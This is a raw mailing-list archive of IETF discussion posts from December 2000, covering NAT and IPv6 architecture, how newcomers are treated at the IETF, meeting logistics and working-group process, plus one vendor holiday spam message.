[208.37.18.67]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA26765 for ; Thu, 21 Dec 2000 13:30:41 -0500 (EST) Received: from matt.ipverse.com (MATT [10.1.1.186]) by sapphire.int.ipverse.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id ZA05AB91; Thu, 21 Dec 2000 10:30:12 -0800 Message-Id: <5.0.2.1.2.20001221091538.01ec0d10@pop3.ipverse.com> X-Sender: matt@ipverse.com@pop3.ipverse.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 21 Dec 2000 10:30:14 -0800 To: ietf@ietf.org From: Matt Holdrege Subject: Re: NATs *ARE* evil! Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org >> Excellent. We've agreed that IPv6's problems are a subset of IPv4's. From: Randy Bush >unfortunately, we have not shown it is a proper subset. e.g. the larger >address space may exacerbate issues already causing problems in v4, such as >the increasing number of routes. >and i am not 'taunting' but trying to see how the hell we can solve some of >the serious problems we have today and not take them with us to the v6 land >of milk and honey, e.g. the multi6 discussion. >if we don't get much smarter quickly, we'll just be making the same mess on >a larger (in one dimension) scale. we need to take a very serious look at >8+8 again. we need to be open to other good ideas. You are absolutely right Randy. Unfortunately the coda for the IETF these days is "Rough Consensus and Shipping Code". One of the biggest problems these days is that we have people demanding backwards compatibility with things that don't really exist yet in a meaningful way. We are becoming more and more like the ITU these days. Several WG's such as SIP have engineers complaining about tiny little changes in a specification that would affect *their* code. So we can't fix a known problem in the spec even though hardly anyone is using this stuff yet. From owner-ietf-outbound Thu Dec 21 15:40:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA00034 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 15:40:03 -0500 (EST) Received: from igw8.watson.ibm.com (igw8.watson.ibm.com [198.81.209.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA26916 for ; Thu, 21 Dec 2000 13:37:20 -0500 (EST) Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62]) by igw8.watson.ibm.com (8.9.3/8.9.3/05-14-1999) with ESMTP id NAA16384; Thu, 21 Dec 2000 13:37:19 -0500 Received: from bubble.watson.ibm.com (bubble.watson.ibm.com [9.2.215.93]) by sp1n189at0.watson.ibm.com (8.9.3/Feb-20-98) with ESMTP id NAA18226; Thu, 21 Dec 2000 13:37:18 -0500 Received: (from prasad@localhost) by bubble.watson.ibm.com (8.9.3/8.9.3/04/21/2000) id NAA22439; Thu, 21 Dec 2000 13:37:18 -0500 Date: Thu, 21 Dec 2000 13:37:18 -0500 From: V Guruprasad To: Ken Hornstein Cc: ietf@ietf.org Subject: Re: Bottom feeders Message-ID: <20001221133718.C22292@bubble.watson.ibm.com> References: <200012202112.QAA26071@astro.cs.utk.edu> <200012211658.eBLGwtR04576@ginger.cmf.nrl.navy.mil> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200012211658.eBLGwtR04576@ginger.cmf.nrl.navy.mil>; from kenh@cmf.nrl.navy.mil on Thu, Dec 21, 2000 at 11:58:54 -0500 X-Loop: ietf@ietf.org On Thu, 21 Dec 2000, Ken Hornstein wrote: > That hasn't been my experience; I've seen what can only be described as > an "old-boy" network in operation. I'm not saying that such a thing is > necessarily bad, just that sometimes it takes significant effort to > overcome it if you're a newbie. Both the "old-boy" network and the undue skepticism are natural and occur in every field. My intuition is, if you try to suppress them, they'll show up in other ways! On the other hand, I was a first-timer at the 49th IETF (although I was already known to some in mmedia wg before), and had a rather atrocious proposal to lobby for (see my I-D - you *can't* possibly believe it at first reading :-). I've seen no less openness and no more skepticism at the IETF than within my own organisation. I think the people are wonderful, including many "old timers" - I quite enjoyed the many first-hand stories in the many hallway discussions. just my 2c. -p. From owner-ietf-outbound Thu Dec 21 15:50:10 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA00361 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 15:50:03 -0500 (EST) Received: from igw8.watson.ibm.com (igw8.watson.ibm.com [198.81.209.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA27965 for ; Thu, 21 Dec 2000 14:17:33 -0500 (EST) Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62]) by igw8.watson.ibm.com (8.9.3/8.9.3/05-14-1999) with ESMTP id OAA16440 for ; Thu, 21 Dec 2000 14:17:34 -0500 Received: from bubble.watson.ibm.com (bubble.watson.ibm.com [9.2.215.93]) by sp1n189at0.watson.ibm.com (8.9.3/Feb-20-98) with ESMTP id OAA16024 for ; Thu, 21 Dec 2000 14:17:33 -0500 Received: (from prasad@localhost) by bubble.watson.ibm.com (8.9.3/8.9.3/04/21/2000) id OAA22491 for ietf@ietf.org; Thu, 21 Dec 2000 14:17:33 -0500 Date: Thu, 21 Dec 2000 14:17:18 -0500 From: V Guruprasad To: ietf@ietf.org Subject: Re: IETF logistics Message-ID: <20001221141718.A22464@bubble.watson.ibm.com> References: <001001c06a9a$6d231f20$d45904d1@cisco.com> <200012210346.eBL3kDM04815@sandelman.ottawa.on.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200012210346.eBL3kDM04815@sandelman.ottawa.on.ca>; from mcr@sandelman.ottawa.on.ca on Wed, Dec 20, 2000 at 22:46:13 -0500 X-Loop: ietf@ietf.org On Wed, 20 Dec 2000, Michael Richardson wrote: > The wireless access is likely key to actually giving everyone a chance to > get online, but I recall a lot of useful work that occured in the terminal > room. I also recall deciding to go to the terminal room rather than find a > session that I can "cross-fertilize" --- now if I pick wrong, then I just > don't pay attention, but I still take up room. (I become aware of my own Here's an outlandish solution: these problems might go away (as new ones will doubtless emerge) if and when we get live feeds out and inject keystroke feedback, in reverse direction, into the live meetings. [visions of hum-counting web pages, holy matrix] That would take care of non-participation (a) from terminal rooms residence, (b) because of overcrowding in the meeting rooms, and (c) budgetary constraints preventing travel to the IETF meetings... In limit t->infinity, enthusiastic newbies like myself would go there merely to watch the work being done remotely. -p. From owner-ietf-outbound Thu Dec 21 16:10:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA00947 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 16:10:02 -0500 (EST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA28103 for ; Thu, 21 Dec 2000 14:24:04 -0500 (EST) Received: from cmf.nrl.navy.mil (elvis.cmf.nrl.navy.mil [134.207.10.38]) (authenticated) by ginger.cmf.nrl.navy.mil (8.10.1/8.10.1) with ESMTP id eBLJO1R05882 for ; Thu, 21 Dec 2000 14:24:01 -0500 (EST) Message-Id: <200012211924.eBLJO1R05882@ginger.cmf.nrl.navy.mil> To: ietf@ietf.org Subject: Re: Bottom feeders In-reply-to: Your message of "Thu, 21 Dec 2000 09:35:34 PST." <5.0.2.1.2.20001221091747.037e3ae0@joy.songbird.com> X-Face: "Evs"_GpJ]],xS)b$T2#V&{KfP_i2`TlPrY$Iv9+TQ!6+`~+l)#7I)0xr1>4hfd{#0B4 WIn3jU;bql;{2Uq%zw5bF4?%F&&j8@KaT?#vBGk}u07<+6/`.F-3_GA@6Bq5gN9\+s;_d gD\SW #]iN_U0 KUmOR.P<|um5yPkEpSD@*e` Date: Thu, 21 Dec 2000 14:24:01 -0500 From: Ken Hornstein X-Loop: ietf@ietf.org >>That hasn't been my experience; I've seen what can only be described as >>an "old-boy" network in operation. I'm not saying that such a thing is >>necessarily bad, just that sometimes it takes significant effort to >>overcome it if you're a newbie. > >Since the IETF professes to be open, it's a good thing that we periodically >worry about the legitimacy of the claim. On the other hand, we should not >start beating ourselves up unless there is some pretty clear evidence that >actual barriers to IETF entry are inappropriate. Please understand that I'm not saying that the barriers to IETF entry are inappropriate (but then, I'm not sure what _is_ appropriate). I've certainly seen much worse in other organizations. >Being open does not mean that new arrivals are free from learning the >special handshakes and the technical peculiarities of our work; they are Hm, my mistake, I guess. I read on the IETF web page that the IETF didn't have any secret handshakes; I guess I was wrong :-) >The actual pattern of IETF community consensus is extremely friendly and >supportive for new folks who work to learn the culture and participate in >the work. Okay, serious question time: exactly what are you basing this statement on? Converstations with newbies? If so, you certainly didn't talk to me, because I would have _never_ said anything of the sort. If you're not basing this statement on conversations with newbies, then how can you honestly know whether or not the IETF consensus is friendly to newbies? The best model I can think of for a newbie at IETF is the old way you used to teach people to swim: throw them into the deep end of the pool and let them figure it out on their own. You either eventually figure it out, or you give up. Things like the Newcomers Orientation are helpful (and FWIW, I _did_ attend that), but it's akin to having someone describe swimming on land versus learning it yourself; yes, you have someplace to start, but somehow the details are missed. I don't fault anyone for this, because I'm not sure it's possible to explain all of the intricacies of the IETF without actually experiencing it for yourself. I guess the point I'd like to make is that from my perspective, newcomers aren't exactly welcomed; it's more like they're quietly tolerated until they gather enough clue-points. Now, the _other_ part of this discussion is: Is this an appropriate entry barrier for newbies? Even though I feel it wasn't perhaps the most pleasant experience, I don't feel the current "entrance exam" ( :-) ) was that unreasonable; as Dave has pointed out, every organization has it's own culture, and I feel it's reasonable for people to have to know something about an organization's culture before they can be expected to contribute. It's just _learning_ about that culture can be rather daunting, and I could easily see it being an insurmountable task for some people. --Ken (recent, and still sometimes, newbie) From owner-ietf-outbound Thu Dec 21 16:20:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA01180 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 16:20:03 -0500 (EST) Received: from A4.JCK.COM (ns.jck.com [209.187.148.211]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA28251 for ; Thu, 21 Dec 2000 14:31:10 -0500 (EST) Received: from P2 ("port 1676"@[209.187.148.217]) by a4.jck.com (PMDF V6.0-23 #44844) with ESMTP id <0G5X0021WNJYW0@a4.jck.com> for ietf@ietf.org; Thu, 21 Dec 2000 14:31:10 -0500 (EST) Date: Thu, 21 Dec 2000 14:31:08 -0500 From: John C Klensin Subject: Re: Welcoming newcomers In-reply-to: <200012211428.eBLES7j21764@zed.isi.edu> To: Bill Manning Cc: ietf@ietf.org Message-id: <2451492768.977409068@P2> MIME-version: 1.0 X-Mailer: Mulberry/2.0.5 (Win32) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Content-disposition: inline Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit --On Thursday, 21 December, 2000 06:28 -0800 Bill Manning wrote: > Even if, as Randy Bush suggests, the idea as presented, > was ill-conceived, and was being encouraged by a > market-driven company that is flush with cash, its no reason > to berate people in public, even if done in a lighthearted > way. I don't want to start kicking a dead horse here, and everyone has been (appropriately) circumspect about the circumstances. Unfortunately, I can imagine, without much trouble, a scenario in which, e.g., someone showed up and claimed to "represent" a company with considerable IETF experience (and other employees as long-term participants), started pushing a technically unviable idea and justifying it on the basis of his or her company's market position. In such a situation, if more gentle means seemed ineffective, a little public berating --I'd hope of the "represented" company more than the individual-- would be regretable but perhaps quite justified. Note that many of the elements associated with much of the recent discussion of "newcomer" are not present in the scenario above. The offender is assumed to come from an organization that has a long history with IETF. He or she is presumed to have organizational colleagues who know better. Gentle hints have presumably failed. I, and even the most self-proclaimed hard-nosed people I've seen in the IETF leadership, are usually extremely tolerant and supportive of newcomers who are interested in participating in the IETF and advancing its work, especially those who approach us without tying up WG meeting time. The tolerance tends to become limited only when patience and education fail and to become exhausted only in the presence of obnoxious behavior by those who have had ample opportunity to learn/ know better. Let's not create categories that sweep the cases together. john From owner-ietf-outbound Thu Dec 21 16:30:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA01381 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 16:30:02 -0500 (EST) Received: from igw8.watson.ibm.com (igw8.watson.ibm.com [198.81.209.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA28376 for ; Thu, 21 Dec 2000 14:37:35 -0500 (EST) Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62]) by igw8.watson.ibm.com (8.9.3/8.9.3/05-14-1999) with ESMTP id OAA11340; Thu, 21 Dec 2000 14:37:18 -0500 Received: from bubble.watson.ibm.com (bubble.watson.ibm.com [9.2.215.93]) by sp1n189at0.watson.ibm.com (8.9.3/Feb-20-98) with ESMTP id OAA14690; Thu, 21 Dec 2000 14:37:17 -0500 Received: (from prasad@localhost) by bubble.watson.ibm.com (8.9.3/8.9.3/04/21/2000) id OAA22528; Thu, 21 Dec 2000 14:37:17 -0500 Date: Thu, 21 Dec 2000 14:37:16 -0500 From: V Guruprasad To: Mike Fisk Cc: Harald Alvestrand , "Theodore Y. Ts'o" , iab@ISI.EDU, ietf@ietf.org Subject: Re: NATs *ARE* evil! Message-ID: <20001221143716.A22514@bubble.watson.ibm.com> References: <4.3.2.7.2.20001221101056.03b50ee8@127.0.0.1> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from mfisk@lanl.gov on Thu, Dec 21, 2000 at 09:50:06 -0800 X-Loop: ietf@ietf.org On Thu, 21 Dec 2000, Mike Fisk wrote: > Yes, I was being slightly more general to include other gateways that > don't necessarily operate at the application layer: > TCP-splicing/spoofing, NAT, SOCKS, etc. > > The problem is that the protocol mechanisms to discover and use these > gateways are piecemeal and inadequate. That leads many of them to be > implemented "transparently" which breaks protocols that don't know there's > a gateway. One way to let higher protocols transparently cross such gateways is described both in Cheritan's Triad project and my I-D on addressless networking. The cut is made just above the IP layer - Triad shows that higher protocols like TCP can be made happy with pretending there's an IP address below. I more specifically propose a 32b switch path termination - as long as the 32b number serves to identify an e2e path, whether or not it is an e2e destination address and/or transits gateways would be irrelevant to the e2e operability of the TCP layer. In the limit of fine-granularity, NAT'ing becomes no different from label switching, so what I'm suggesting is that we take the bull by the horns once and for all and run MPLS over IP instead of under it... That way, you'd obsolete NATs and SOCKS in the longish run, but that's another story. -p. From owner-ietf-outbound Thu Dec 21 16:50:26 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA02088 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 16:50:03 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA28485 for ; Thu, 21 Dec 2000 14:40:48 -0500 (EST) Received: from mira-sjc5-4.cisco.com (mira-sjc5-4.cisco.com [171.71.163.21]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id LAA07241; Thu, 21 Dec 2000 11:39:58 -0800 (PST) Received: from spandex (rtp-vpn-199.cisco.com [10.82.192.199]) by mira-sjc5-4.cisco.com (Mirapoint) with SMTP id ACN07369; Thu, 21 Dec 2000 11:39:51 -0800 (PST) Message-ID: <043601c06b9f$11a25fc0$d45904d1@cisco.com> From: "Melinda Shore" To: , "Michael Richardson" References: <200012210346.eBL3kDM04815@sandelman.ottawa.on.ca> Subject: Re: IETF logistics Date: Thu, 21 Dec 2000 14:40:49 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > So maybe WG chairs should have the right to unplug the wireless access > points :-) I wouldn't go that far - I'd rather have people who enter the room without having read the drafts trying to fetch them and read them on the fly than I would have them expecting to have everything explained. Nevertheless, I was *really* irked to be packed into the back of the room during OPES BOF and to see people seated in chairs engrossed in various computer games. I'd say that if you see someone sitting in a seat you'd like to have and they're playing games, you should feel free to ask them for their seat. Melinda From owner-ietf-outbound Thu Dec 21 17:00:08 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA02369 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 17:00:02 -0500 (EST) Received: from BuyStainlessOnline.com ([216.22.7.136]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA28693 for ; Thu, 21 Dec 2000 14:51:53 -0500 (EST) From: mason@stainlesssurplus.com To: ietf@ietf.org Message-Id: <5ex46i0o652ulf5o5j2.201frp0@BuyStainlessOnline.com> MIME-Version: 1.0 X-Encoding: MIME Content-Type: multipart/alternative; boundary="----=_NextPart_678886246048367134" Date: Thu, 21 Dec 2000 14:49:36 -0500 Reply-To: buystainless@aol.com Subject: Happy Holidays from the Stainless Steel People. X-Loop: ietf@ietf.org This is a multi-part message in MIME format. ------=_NextPart_678886246048367134 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable BuyStainlessOnline would like to take this opportunity to wish all of our users the warmest and happiest holiday season ever! We look forward to helping you make the internet what you want it to be in the coming years. More Stainless Steel on the web... www.BuyStainlessOnline.com Global Supplier Network ------=_NextPart_678886246048367134 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Happy Holidays!

Happy Holidays!

 

BuyStainlessOnline would like to take this opportunity to wish all of our users the warmest and happiest holiday season ever! We look forward to helping you make the internet what you want it to be in the coming years.

 


Warm Wishes and Best Regards,
The BuyStainlessOnline Team

More Stainless Steel
www.BuyStainlessOnline.com
Global Supplier Network

 

------=_NextPart_678886246048367134-- From owner-ietf-outbound Thu Dec 21 17:10:25 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA02604 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 17:10:01 -0500 (EST) Received: from watsun.cc.columbia.edu (IDENT:cu51491@watsun.cc.columbia.edu [128.59.39.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA00781 for ; Thu, 21 Dec 2000 16:03:22 -0500 (EST) Received: (from jaltman@localhost) by watsun.cc.columbia.edu (8.8.5/8.8.5) id QAA15612; Thu, 21 Dec 2000 16:03:20 -0500 (EST) Date: Thu, 21 Dec 2000 16:03:18 EST From: Jeffrey Altman Reply-To: jaltman@columbia.edu To: V Guruprasad Cc: Ken Hornstein , ietf@ietf.org Subject: Re: Bottom feeders In-Reply-To: Your message of Thu, 21 Dec 2000 13:37:18 -0500 Message-ID: X-Loop: ietf@ietf.org > On Thu, 21 Dec 2000, Ken Hornstein wrote: > > > That hasn't been my experience; I've seen what can only be described as > > an "old-boy" network in operation. I'm not saying that such a thing is > > necessarily bad, just that sometimes it takes significant effort to > > overcome it if you're a newbie. > > Both the "old-boy" network and the undue skepticism are natural and occur > in every field. My intuition is, if you try to suppress them, they'll show > up in other ways! > > On the other hand, I was a first-timer at the 49th IETF (although I was > already known to some in mmedia wg before), and had a rather atrocious > proposal to lobby for (see my I-D - you *can't* possibly believe it at > first reading :-). I've seen no less openness and no more skepticism at > the IETF than within my own organisation. I think the people are wonderful, > including many "old timers" - I quite enjoyed the many first-hand stories > in the many hallway discussions. But here is the difference between your first time experience and those of others. You were already known in one of the WG communities; and you came with an I-D that you were trying to build support for. In other words, you were a participant rather than a lurker. You are exactly the type of first timers that should come to IETF meetings. Jeffrey Altman * Sr.Software Designer C-Kermit 7.1 Alpha available The Kermit Project @ Columbia University includes Secure Telnet and FTP http://www.kermit-project.org/ using Kerberos, SRP, and kermit-support@kermit-project.org OpenSSL. SSH soon to follow. From owner-ietf-outbound Thu Dec 21 17:50:33 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA03677 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 17:50:02 -0500 (EST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA02322 for ; Thu, 21 Dec 2000 16:57:24 -0500 (EST) Received: from airborne.cisco.com (airborne.cisco.com [171.71.154.32]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id NAA03375; Thu, 21 Dec 2000 13:57:05 -0800 (PST) Received: from localhost.localdomain.cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by airborne.cisco.com (Mirapoint) with ESMTP id ADF08994; Thu, 21 Dec 2000 13:56:53 -0800 (PST) X-Mailer: emacs 20.7.1 (via feedmail 8 Q); VM 6.88 under Emacs 20.7.1 Sender: sbrim@cisco.com From: "Scott Brim" Message-ID: <14914.31574.923561.911615@localhost.localdomain> Date: Thu, 21 Dec 2000 16:51:18 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Valdis.Kletnieks@vt.edu Cc: Pete Resnick , ietf@ietf.org Subject: Re: IETF logistics In-Reply-To: <200012210453.eBL4r0CW226090@black-ice.cc.vt.edu> References: <14911.38185.69675.522594@localhost.localdomain> <5.0.0.25.2.20001219090808.009ef9e0@gnat.inet.org> <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> <5.0.2.1.2.20001220090714.03b1dec0@joy.songbird.com> <200012210453.eBL4r0CW226090@black-ice.cc.vt.edu> Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit On 20 Dec 2000 at 23:53 -0500, Valdis.Kletnieks@vt.edu apparently wrote: > I assume that by "Presentations", you mean "tutorial presentations", > and not "Gee George, your proposal on the mailing list looks novel > and interesting, but we're not getting it, could you take 10 mins > in the WG meeting and explain it more fully" presentations? I think we can succeed in using mail for clarification (like we're doing now). We all just have to be willing to look stupid now and then. ...Scott From owner-ietf-outbound Thu Dec 21 18:00:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA03905 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 18:00:02 -0500 (EST) Received: from champagne.dsg.stanford.edu (Champagne.DSG.Stanford.EDU [171.64.79.21]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA02485 for ; Thu, 21 Dec 2000 17:04:25 -0500 (EST) Received: (from sliang@localhost) by champagne.dsg.stanford.edu (8.9.3/8.9.1) id OAA05154; Thu, 21 Dec 2000 14:02:24 -0800 From: Sam Liang Message-Id: <200012212202.OAA05154@champagne.dsg.stanford.edu> Subject: Re: NATs *ARE* evil! To: prasad@watson.ibm.com (V Guruprasad) Date: Thu, 21 Dec 2000 14:02:24 -0800 (PST) Cc: mfisk@LANL.GOV (Mike Fisk), Harald@Alvestrand.no (Harald Alvestrand), tytso@MIT.EDU (Theodore Y. Ts'o), iab@ISI.EDU, ietf@ietf.org In-Reply-To: <20001221143716.A22514@bubble.watson.ibm.com> from "V Guruprasad" at Dec 21, 2000 02:37:16 PM X-Mailer: ELM [version 2.5 PL0pre8] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > > > On Thu, 21 Dec 2000, Mike Fisk wrote: > > > Yes, I was being slightly more general to include other gateways that > > don't necessarily operate at the application layer: > > TCP-splicing/spoofing, NAT, SOCKS, etc. > > > > The problem is that the protocol mechanisms to discover and use these > > gateways are piecemeal and inadequate. That leads many of them to be > > implemented "transparently" which breaks protocols that don't know there's > > a gateway. > > One way to let higher protocols transparently cross such gateways is described > both in Cheritan's Triad project and my I-D on addressless networking. The Thanks for citing the TRIAD project. The principal investigator is Prof. David Cheriton at Stanford. For details, see http://www-dsg.stanford.edu/triad/index.html. Sam > cut is made just above the IP layer - Triad shows that higher protocols like > TCP can be made happy with pretending there's an IP address below. I more > specifically propose a 32b switch path termination - as long as the 32b number > serves to identify an e2e path, whether or not it is an e2e destination > address and/or transits gateways would be irrelevant to the e2e operability > of the TCP layer. In the limit of fine-granularity, NAT'ing becomes no different > from label switching, so what I'm suggesting is that we take the bull by > the horns once and for all and run MPLS over IP instead of under it... That > way, you'd obsolete NATs and SOCKS in the longish run, but that's another story. > > > -p. > > From owner-ietf-outbound Thu Dec 21 18:10:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA04095 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 18:10:02 -0500 (EST) Received: from mailhub1.almaden.ibm.com (mailhub1.almaden.ibm.com [198.4.83.44]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA02516 for ; Thu, 21 Dec 2000 17:06:01 -0500 (EST) Received: from maui.almaden.ibm.com (maui.almaden.ibm.com [9.1.24.92]) by mailhub1.almaden.ibm.com (8.8.8/8.8.8) with ESMTP id OAA30640; Thu, 21 Dec 2000 14:00:09 -0800 Received: from hursley.ibm.com (gsine04.us.sine.ibm.com [9.14.6.44]) by maui.almaden.ibm.com (AIX4.3/8.9.3/8.7) with ESMTP id OAA20764; Thu, 21 Dec 2000 14:05:32 -0800 Message-ID: <3A427E4A.274F39EF@hursley.ibm.com> Date: Thu, 21 Dec 2000 16:03:54 -0600 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en,fr MIME-Version: 1.0 To: Ken Hornstein CC: ietf@ietf.org Subject: Handshakes References: <200012211924.eBLJO1R05882@ginger.cmf.nrl.navy.mil> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Ken Hornstein wrote: ... > >Being open does not mean that new arrivals are free from learning the > >special handshakes and the technical peculiarities of our work; they are > > Hm, my mistake, I guess. I read on the IETF web page that the IETF didn't > have any secret handshakes; I guess I was wrong :-) Do you seriously imagine we are going to *teach* you the secret handshakes? :-) But seriously - yes it's hard, and it's probably harder than when I first came to the IETF in 1992. It's the brightest collection of protocol designers on earth (I'm not one of them) - it's never going to be an easy club to join. Brian From owner-ietf-outbound Thu Dec 21 18:20:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA04356 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 18:20:03 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA02578 for ; Thu, 21 Dec 2000 17:08:41 -0500 (EST) Received: from dcrocker.dcrocker.net (node-64-145-172-82.dslspeed.zyan.com [64.145.172.82]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id OAA06215; Thu, 21 Dec 2000 14:08:41 -0800 Message-Id: <5.0.2.1.2.20001221140251.037ed9a0@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 21 Dec 2000 14:08:57 -0800 To: Bill Manning From: Dave Crocker Subject: stamping rubber Cc: ietf@ietf.org In-Reply-To: <200012211647.eBLGlFM21977@zed.isi.edu> References: <200012211726.MAA03431@astro.cs.utk.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 08:47 AM 12/21/00 -0800, Bill Manning wrote: >True. The point being that the IETF is becoming a "rubber-stamp" for >work already complete. This is simply not true. Sometimes we take in work that is mature and needs only minor changes to satisfy the community. To characterize this as either frequent or rubber stamping is entirely off the mark. It IS true that development from scratch, within a working group, is highly problematic when the group is large and/or the topic complicated. (Can we all say "design by committee".) That's why the concept of the design team is formally acknowledged. And some folks have noticed that forming the design team and doing an initial specification BEFORE chartering the working group can be much more efficient. However the ultimate test of the material in the stamp is whether the working group can and does exercise ultimate authority over specifications and whether it can and does make changes. All of my IETF experience says that anyone expecting rubber in the stamp is quickly -- and with appropriate rudeness -- educated otherwise. d/ =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Thu Dec 21 18:30:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA04515 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 18:30:03 -0500 (EST) Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA02718 for ; Thu, 21 Dec 2000 17:13:51 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha1/8.12.0.Alpha1) with ESMTP id eBLMDrCW232984; Thu, 21 Dec 2000 17:13:53 -0500 Message-Id: <200012212213.eBLMDrCW232984@black-ice.cc.vt.edu> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4+dev To: Scott Brim Cc: Pete Resnick , ietf@ietf.org Subject: Re: IETF logistics In-Reply-To: Your message of "Thu, 21 Dec 2000 16:51:18 EST." <14914.31574.923561.911615@localhost.localdomain> X-Url: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ <5.0.0.25.2.20001219090808.009ef9e0@gnat.inet.org> <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> <5.0.2.1.2.20001220090714.03b1dec0@joy.songbird.com> <200012210453.eBL4r0CW226090@black-ice.cc.vt.edu> <14914.31574.923561.911615@localhost.localdomain> Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_-296906496P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Thu, 21 Dec 2000 17:13:53 -0500 X-Loop: ietf@ietf.org --==_Exmh_-296906496P Content-Type: text/plain; 